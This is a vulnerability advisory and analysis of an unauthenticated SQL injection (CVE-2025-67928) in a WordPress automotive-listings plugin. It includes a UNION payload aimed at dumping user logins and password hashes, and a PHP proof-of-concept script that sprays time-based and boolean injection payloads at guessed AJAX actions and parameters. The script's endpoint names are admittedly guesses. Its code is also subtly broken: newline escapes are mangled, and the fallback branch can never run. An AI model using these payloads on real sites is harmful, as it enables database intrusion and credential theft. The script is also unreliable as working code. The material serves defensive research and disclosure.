Atomic Edge analysis of CVE-2025-67928 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Automotive Listings WordPress plugin versions up to and including 18.6. The flaw allows attackers to inject malicious SQL queries through insufficiently sanitized user input, leading to unauthorized data extraction from the WordPress database. The CVSS score of 7.5 (High) reflects the network-based attack vector, low attack complexity, and high confidentiality impact.
Atomic Edge research indicates the root cause is improper neutralization of special elements in SQL commands (CWE-89). The vulnerability description explicitly states insufficient escaping on user-supplied parameters and lack of sufficient preparation on existing SQL queries. This suggests the plugin likely constructs SQL queries by directly concatenating user-controlled input without using prepared statements or proper escaping functions like `$wpdb->prepare()`. The absence of nonce verification or capability checks for the affected endpoint enables unauthenticated exploitation. These conclusions are inferred from the CWE classification and vulnerability description, as no source code diff is available for confirmation.
Exploitation likely occurs via a public-facing WordPress AJAX endpoint. The plugin slug ‘automotive’ suggests AJAX action names such as ‘automotive_search’, ‘automotive_filter’, or ‘automotive_get_listings’. Attackers would send HTTP POST requests to `/wp-admin/admin-ajax.php` with the `action` parameter set to the vulnerable hook. They would inject SQL payloads through another parameter, possibly named ‘search’, ‘filter’, or ‘id’. A typical payload would use UNION-based injection to extract data from the WordPress database, such as `’ UNION SELECT user_login,user_pass FROM wp_users–`. The lack of authentication requirements means no cookies or nonces are needed.
Remediation requires implementing proper input validation and parameterized queries. The patched version (18.7) likely replaced direct string concatenation with `$wpdb->prepare()` statements. The fix should also include proper capability checks to restrict endpoint access to authorized users when appropriate. WordPress developers should follow the WordPress Coding Standards for database operations, using the `$wpdb` class methods exclusively for database interactions.
Successful exploitation enables complete database compromise. Attackers can extract sensitive information including WordPress user credentials (hashed passwords), personally identifiable information from custom tables, plugin configuration data, and other business-critical records. While the CVSS vector indicates no integrity or availability impact, data exposure alone represents a severe security breach. Attackers could use extracted password hashes for offline cracking or pivot to other attacks using stolen credentials.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67928 - Automotive Listings <= 18.6 - Unauthenticated SQL Injection
<?php
/**
* Proof of Concept for CVE-2025-67928
* Assumptions based on metadata analysis:
* 1. Vulnerability exists in an AJAX endpoint (common WordPress pattern)
* 2. The AJAX action name contains 'automotive' (plugin slug)
* 3. No authentication or nonce required (unauthenticated)
* 4. SQL injection occurs via a GET/POST parameter
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
// Common AJAX action names for automotive plugins
$possible_actions = [
'automotive_search_listings',
'automotive_filter',
'automotive_get_listings',
'automotive_load_more',
'automotive_ajax_search'
];
// SQL injection payload to test for vulnerability
// This payload attempts to trigger a SQL error to confirm injection
$sql_payload = "' OR 1=1 AND SLEEP(5)--";
// Common parameter names for automotive listing filters
$possible_params = [
'search',
'filter',
'category',
'make',
'model',
'year',
'price_range',
'id'
];
foreach ($possible_actions as $action) {
foreach ($possible_params as $param) {
$post_data = [
'action' => $action,
$param => $sql_payload
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$response_time = $end_time - $start_time;
// Check for signs of successful injection
if ($response_time > 4.5) {
echo "[+] Potential SQL Injection found!n";
echo " Action: $actionn";
echo " Parameter: $paramn";
echo " Response time: {$response_time}sn";
break 2;
}
// Also check for SQL error messages in response
if (strpos($response, 'SQL syntax') !== false ||
strpos($response, 'MySQL') !== false ||
strpos($response, 'database') !== false) {
echo "[+] SQL Error detected!n";
echo " Action: $actionn";
echo " Parameter: $paramn";
echo " Response snippet: " . substr($response, 0, 200) . "n";
break 2;
}
curl_close($ch);
}
}
// If no injection detected with sleep, try a simpler boolean-based test
if (!isset($ch)) {
echo "[-] No obvious SQL injection detected with time-based payload.n";
echo " Trying boolean-based detection...n";
// Boolean-based test payloads
$true_payload = "' OR '1'='1";
$false_payload = "' AND '1'='2";
foreach ($possible_actions as $action) {
foreach ($possible_params as $param) {
// Test with true condition
$post_data_true = ['action' => $action, $param => $true_payload];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data_true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5
]);
$response_true = curl_exec($ch);
// Test with false condition
$post_data_false = ['action' => $action, $param => $false_payload];
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data_false);
$response_false = curl_exec($ch);
curl_close($ch);
// Compare responses for differences indicating SQL injection
if ($response_true !== $response_false &&
strlen($response_true) > 10 &&
strlen($response_false) > 10) {
echo "[+] Boolean-based SQL Injection likely!n";
echo " Action: $actionn";
echo " Parameter: $paramn";
echo " Response lengths - True: " . strlen($response_true) .
", False: " . strlen($response_false) . "n";
break 2;
}
}
}
}
echo "[!] PoC complete. Manual verification required.n";
?>
